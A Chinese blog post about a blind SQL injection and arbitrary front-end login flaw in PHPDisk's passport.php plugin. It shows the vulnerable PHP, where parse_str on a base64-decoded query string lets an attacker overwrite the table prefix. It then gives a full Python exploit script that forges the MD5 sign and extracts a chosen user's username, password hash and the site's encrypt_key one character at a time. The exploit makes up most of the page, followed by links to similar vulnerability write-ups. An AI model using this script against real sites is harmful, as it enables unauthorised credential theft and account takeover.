phpdisk 盲注 &前台任意用户登录
代码审核
文件 plugins\phpdisk_client\passport.php
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
$str = $_SERVER['QUERY_STRING'];if($str){ parse_str(base64_decode($str));// 触发函数}else{ exit('Error Param');}/*$username = trim(gpc('username','G',''));$password = trim(gpc('password','G',''));$sign = trim(gpc('sign','G',''));*/if($sign!=strtoupper(md5($action.$username.$password))){ exit('No data,Code:2!');}$username = is_utf8() ? convert_str('gbk','utf-8',$username) : $username;if($action=='passportlogin'){ $rs = $db->fetch_one_array("select userid,gid,username,password,email from {$tpf}users where username='$username' and password='$password' limit 1"); //覆盖tpf |
phpdisk.py exploit
|
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
|
#===============================================================================# Id :phpdisk.y# Author:Yaseng#===============================================================================import sys, urllib2, time, os , Queue, msvcrt, threading,re,base64,md5,hashlib,binascii,cookielibdef cslogo(): print ''' ___ ___ ____ ____ ____ __ __ _ _ / __)/ _ \( _ \( ___)( _ \( ) /__\ ( \/ )( (__( (_) ))(_) ))__) )___/ )(__ /(__)\ \ / \___)\___/(____/(____)(__) (____)(__)(__)(__) Name:phpdisk bind sql injection exploit Author:Yaseng [yaseng@uauc.net] Usage:phpdisk.py site[www.yaseng.me] id[1]'''# show messagedef msg(text, type=0): if type == 0: str_def = "[*]" elif type == 1: str_def = "[+]" else: str_def = "[-]"; print str_def + text;# get url datadef get_data(url): try: r = urllib2.urlopen(url, timeout=10) return r.read() except : return 0def b(url): if get_data(url).find("ssport Err",0) != -1 : return 0 return 1def make_plyload(payload): return target+"?"+base64.b64encode("username=1&password=1&action=passportlogin&tpf="+payload+"&sign="+md5.new("passportlogin"+"1"+"1").hexdigest().upper()) def get_username(): msg("get username ...") global pass_list len=0 for i in range(40) : if b(make_plyload("pd_users WHERE 1 and (SELECT LENGTH(username) from pd_users where userid=%d )= %d #" % (uid,i))): len=i msg("username length:%d" % len,1) break global key_list key_list=['0','1','2','3','4','5','6','7','8','9'] key_list+=map(chr,range(97,123)) username="" for i in range(len) : for key in key_list : t=key if type(key) != int : t="0x"+binascii.hexlify(key) if(b(make_plyload(" pd_users WHERE 1 and (SELECT substr(username,%d,1) from pd_users where userid=%d )=%s #" % (i+1,uid,t)))) : msg("username [%d]:%s" % (i+1,key)) username+=key break msg("username:"+username,1) return username def get_password(): pass_list=['0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f'] password="" for i in range(32) : for key in pass_list : t=key if type(key) != int : t="0x"+binascii.hexlify(key) if(b(make_plyload(" pd_users WHERE 1 and (SELECT substr(password,%d,1) from pd_users where userid=%d )= %s #" % (i+1,uid,t)))) : msg("password [%d]:%s" % (i+1,key)) password+=key break msg("username:"+password,1) return password def get_encrypt_key(): msg("get encrypt_key ...") global pass_list pass_list=map(chr,range(97,123)) len=0 for i in range(40) : if b(make_plyload("pd_users WHERE 1 and ( SELECT LENGTH(value) from pd_settings where vars=0x656e63727970745f6b6579 )=%d #23" % i)): len=i msg("encrypt_key length:%d" % len,1) break global key_list key_list=['0','1','2','3','4','5','6','7','8','9'] key_list+=map(chr,range(65,91)+range(97,123)) encrypt_key="" for i in range(len) : for key in key_list : t=key if type(key) != int : t="0x"+binascii.hexlify(key) if(b(make_plyload(" pd_users WHERE 1 and ( SELECT binary(substr(value,%d,1)) from pd_settings where vars=0x656e63727970745f6b6579 ) = %s #" % (i+1,t)))) : msg("key [%d]:%s" % (i+1,key)) encrypt_key+=key break msg("encrypt_key:"+encrypt_key,1) return encrypt_key if __name__ == '__main__': cslogo() if len(sys.argv) > 1 : site=sys.argv[1]; global target global uid try : uid=int(sys.argv[2]); except : uid =1 target=site+"/plugins/phpdisk_client/passport.php" msg("exploit:"+site) #print get_data(make_plyload(" pd_users WHERE 1 and ( SELECT substr(value,2,1) from pd_settings where vars=0x656e63727970745f6b6579 ) = 9 %23")) if get_data(target) : username=get_username() if len(username) > 0 : password=get_password() if len(password) == 32 : msg("Succeed: username:%s password:%s" % (username,password),1) else : msg("vulnerability not exits",2); exit(); |
phpdisk 盲注 &前台任意用户登录的更多相关文章
- 通达OA 前台任意用户登录漏洞复现
漏洞描述 通达OA是一套办公系统.通达OA官方于4月17日发布安全更新.经分析,在该次安全更新中修复了包括任意用户登录在内的高危漏洞.攻击者通过构造恶意请求,可以直接绕过登录验证逻辑,伪装为系统管理身 ...
- 【漏洞分析】dedecms有前提前台任意用户密码修改
0x00 前言 早上浏览sec-news,发现锦行信息安全发布了一篇文章<[漏洞分析] 织梦前台任意用户密码修改>,看完之后就想着自己复现一下. 该漏洞的精髓是php的弱类型比较,'0. ...
- 代码审计-DedeCMS-V5.7前台任意用户密码重置
0x01 漏洞影响 该漏洞允许攻击者修改任意前台用户密码. 0x02 漏洞利用条件 1,开启会员模块 2,攻击者拥有一个正常的会员账号 3,目标没有设置安全问题 0x03 漏洞分析 漏洞文件:/mem ...
- WEB安全系列之如何挖掘任意用户登录漏洞
WEB安全系列之如何挖掘任意用户登录漏洞 0x01 前言 每周两篇文章打卡.坏蛋100块钱都不给我,好坏好坏的. 0x02 什么是任意用户登录漏洞 几乎每个网站都有自己的会员系统 ...
- 通达OA任意用户登录 漏洞复现
0x00 漏洞简介 通达OA国内常用的办公系统,使用群体,大小公司都可以,其此次安全更新修复的高危漏洞为任意用户登录漏洞.攻击者在远程且未经授权的情况下,通过利用此漏洞,可以直接以任意用户身份登录到系 ...
- 通达OA任意用户登录漏洞复现
前言 今年hw挺火爆的,第一天上来就放王炸,直接搞得hw暂停 昨天晚上无聊,复现了一下通达oa的洞,也有现成的exp可以使用,比较简单 0x00 漏洞概述 通达OA是一套国内常用的办公系统,此次发现的 ...
- ApachShiro 一个系统 两套验证方法-(后台管理员登录、前台App用户登录)同一接口实现、源码分析
需求: 在公司新的系统里面博主我使用的是ApachShiro 作为安全框架.作为后端的鉴权以及登录.分配权限等操作 管理员的信息都是存储在管理员表 前台App 用户也需要校验用户名和密码进行登录.但是 ...
- YII用户注冊和用户登录(五)之进行session和cookie分析 ,并在前后区分session和cookie
5 进行session和cookie分析 ,并在前后区分session和cookie: 记住登录状态 这样下次再登录站点的时候.就不用反复输入username和password. 是浏览器的cooki ...
- YII用户注冊和用户登录(二)之登录和注冊在视图通过表单使用YII小物件并分析
2 登录和注冊在视图通过表单使用YII小物件并分析 <?php $form = $this -> beginWidget('CActiveForm', array( 'enableClie ...
随机推荐
- 百度云虚拟主机BCH安装PHP框架CodeIgniter
百度云虚拟主机BCH官方未支持CodeIgniter框架,本人参加php中文网活动获取一百度云虚拟主机,本人选的ThinkPHP版,但本人喜欢CodeIgniter框架,因此尝试在该主机上配置Code ...
- c#开发微信公众号——关于c#对象与xml的转换
在成为微信公众号开发者以后,整个交互流程:用户->微信服务器->自己的服务器->返回微信服务器->用户: 举个例子:用户在微信公众号里面发了个“您好!”,微信服务器会以特定的x ...
- 一步一步学习大数据:Hadoop 生态系统与场景
Hadoop概要 到底是业务推动了技术的发展,还是技术推动了业务的发展,这个话题放在什么时候都会惹来一些争议. 随着互联网以及物联网的蓬勃发展,我们进入了大数据时代.IDC预测,到2020年,全球会有 ...
- 嵌入式C语言自我修养 06:U-boot镜像自拷贝分析:section属性
6.1 GNU C 的扩展关键字:attribute GNU C 增加一个 __atttribute__ 关键字用来声明一个函数.变量或类型的特殊属性.声明这个特殊属性有什么用呢?主要用途就是指导编译 ...
- Kettle-6.1安装部署及使用教程
一.Kettle概念 Kettle是一款国外开源的ETL工具,纯java编写,可以在Window.Linux.Unix上运行,绿色无需安装,数据抽取高效稳定. Kettle 中文名称叫水壶,该项目的主 ...
- Java第五次实验报告
Java第五次实验报告 实验一 实验内容 两人一组结对编程: 参考 结对实现中缀表达式转后缀表达式的功能 MyBC.java 结对实现从上面功能中获取的表达式中实现后缀表达式求值的功能,调用MyDC. ...
- C语言复习20170805
循环控制结构 重复处理次数时已知的循环称为计数控制的循环,若重复处理次数为未知,是由给定情况控制的,称为条件控制的循环. C语言提供for.while.do while三种循环语句实现循环结构. 循环 ...
- easyui树动态加载参考
这篇文章是拷贝的,多谢原作者 友情连接:http://www.jb51.net/article/28771.htm var treeTitle = '选择列表'; var treeUrl = '../ ...
- Flutter系列博文链接
Flutter系列博文链接 ↓: Flutter基础篇: Flutter基础篇(1)-- 跨平台开发框架和工具集锦 Flutter基础篇(2)-- 老司机用一篇博客带你快速熟悉Dart语法 Flutt ...
- WCF中数据契约之已知类型的几种公开方式
WCF中传输的数据不想传统的面向对象编程,它只传递了一些对象的属性,但是自身并不知道自己属于什么对象,所以,他没有子类和父类的概念,因而也就没有Is-a的关系,所以在WCF中,如果想维持这种继承关系, ...